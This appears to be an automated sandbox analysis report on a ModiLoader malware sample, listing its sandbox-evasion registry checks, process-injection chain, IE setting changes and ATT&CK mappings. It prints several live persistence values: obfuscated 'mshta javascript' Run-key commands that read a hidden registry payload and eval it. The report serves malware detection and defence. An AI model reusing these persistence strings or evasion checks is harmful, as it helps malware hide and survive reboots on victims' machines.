modiloader | 6dc6ec7750a584d5de7760d053165b3c435d01b53e006b7a6c6cc05e0bad3703

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	dllhost.exe

ModiLoader Second Stage 43 IoCs

resource	yara_rule
behavioral1/memory/2564-8-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/2564-13-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/2564-16-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/2564-21-0x000000000F110000-0x000000000F1D4000-memory.dmp	modiloader_stage2
behavioral1/memory/2564-20-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral1/memory/2564-19-0x0000000000401000-0x0000000000404000-memory.dmp	modiloader_stage2
behavioral1/memory/2564-11-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/2564-18-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/2672-25-0x00000000000B0000-0x0000000000174000-memory.dmp	modiloader_stage2
behavioral1/memory/2564-26-0x000000000F110000-0x000000000F1D4000-memory.dmp	modiloader_stage2
behavioral1/memory/2564-22-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-36-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-33-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-38-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-37-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-35-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-34-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2672-29-0x00000000000B0000-0x0000000000174000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-40-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-39-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-41-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-42-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-43-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2548-46-0x00000000001C0000-0x0000000000284000-memory.dmp	modiloader_stage2
behavioral1/memory/2548-47-0x00000000001C0000-0x0000000000284000-memory.dmp	modiloader_stage2
behavioral1/memory/2548-51-0x00000000001C0000-0x0000000000284000-memory.dmp	modiloader_stage2
behavioral1/memory/2548-50-0x00000000001C0000-0x0000000000284000-memory.dmp	modiloader_stage2
behavioral1/memory/2548-49-0x00000000001C0000-0x0000000000284000-memory.dmp	modiloader_stage2
behavioral1/memory/2548-48-0x00000000001C0000-0x0000000000284000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-53-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-52-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-55-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-57-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-58-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-59-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-56-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-54-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2708-60-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2572-62-0x00000000001B0000-0x0000000000274000-memory.dmp	modiloader_stage2
behavioral1/memory/2572-63-0x00000000001B0000-0x0000000000274000-memory.dmp	modiloader_stage2
behavioral1/memory/2572-64-0x00000000001B0000-0x0000000000274000-memory.dmp	modiloader_stage2
behavioral1/memory/2572-66-0x00000000001B0000-0x0000000000274000-memory.dmp	modiloader_stage2
behavioral1/memory/2572-65-0x00000000001B0000-0x0000000000274000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:M2GL2Krw=\"drBt8tlbUT\";GM07=new%20ActiveXObject(\"WScript.Shell\");t8OGx3DNF=\"tYIMC73Gi\";z00LTl=GM07.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\0591bbf4\\\\545296b4\");av4f2nPw=\"Z\";eval(z00LTl);GIi1sva=\"NI\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe

Deletes itself 1 IoCs

pid	Process
2708	dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:o4Ijb3sjCh=\"8hy2rtx\";Wp9=new%20ActiveXObject(\"WScript.Shell\");mxgLDZc7P=\"bM\";Ar3xZ=Wp9.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\0591bbf4\\\\545296b4\");TqkUOO4ja=\"ntsmX7gkw\";eval(Ar3xZ);lDfN3lm=\"XY1E8RB\";"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:hiDKWq4W=\"p\";n0r=new%20ActiveXObject(\"WScript.Shell\");cppDLB2t=\"C0d\";BGT61u=n0r.RegRead(\"HKCU\\\\software\\\\0591bbf4\\\\545296b4\");juLXZsn1E3=\"sJSRCp5\";eval(BGT61u);Fe3qnXeOU=\"n3m6U\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	dllhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2844 set thread context of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	28

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\International	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
2672	dllhost.exe
2672	dllhost.exe
2672	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	28
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	28
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	28
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	28
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	28
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	28
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	28
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	28
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	28
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	28
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	28
PID 2564 wrote to memory of 2672	2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	29
PID 2564 wrote to memory of 2672	2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	29
PID 2564 wrote to memory of 2672	2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	29
PID 2564 wrote to memory of 2672	2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	29
PID 2672 wrote to memory of 2708	2672	dllhost.exe	30
PID 2672 wrote to memory of 2708	2672	dllhost.exe	30
PID 2672 wrote to memory of 2708	2672	dllhost.exe	30
PID 2672 wrote to memory of 2708	2672	dllhost.exe	30
PID 2708 wrote to memory of 2548	2708	dllhost.exe	31
PID 2708 wrote to memory of 2548	2708	dllhost.exe	31
PID 2708 wrote to memory of 2548	2708	dllhost.exe	31
PID 2708 wrote to memory of 2548	2708	dllhost.exe	31
PID 2708 wrote to memory of 2572	2708	dllhost.exe	32
PID 2708 wrote to memory of 2572	2708	dllhost.exe	32
PID 2708 wrote to memory of 2572	2708	dllhost.exe	32
PID 2708 wrote to memory of 2572	2708	dllhost.exe	32

C:\Users\Admin\AppData\Local\Temp\VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
"C:\Users\Admin\AppData\Local\Temp\VirusShare_3f623789626c5cf5c97ca33f15819c20.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2844
- C:\Users\Admin\AppData\Local\Temp\VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
  C:\Users\Admin\AppData\Local\Temp\VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
  2⤵
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\SysWOW64\dllhost.exe
    dllhost.exe
    3⤵
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2672
  - - C:\Windows\SysWOW64\dllhost.exe
      dllhost.exe
      4⤵
      Looks for VirtualBox Guest Additions in registry
      Adds policy Run key to start application
      Looks for VMWare Tools registry key
      Checks BIOS information in registry
      Deletes itself
      Adds Run key to start application
      Maps connected drives based on registry
      Modifies Internet Explorer settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2708
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        
        PID:2548
    - - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

Virtualization/Sandbox Evasion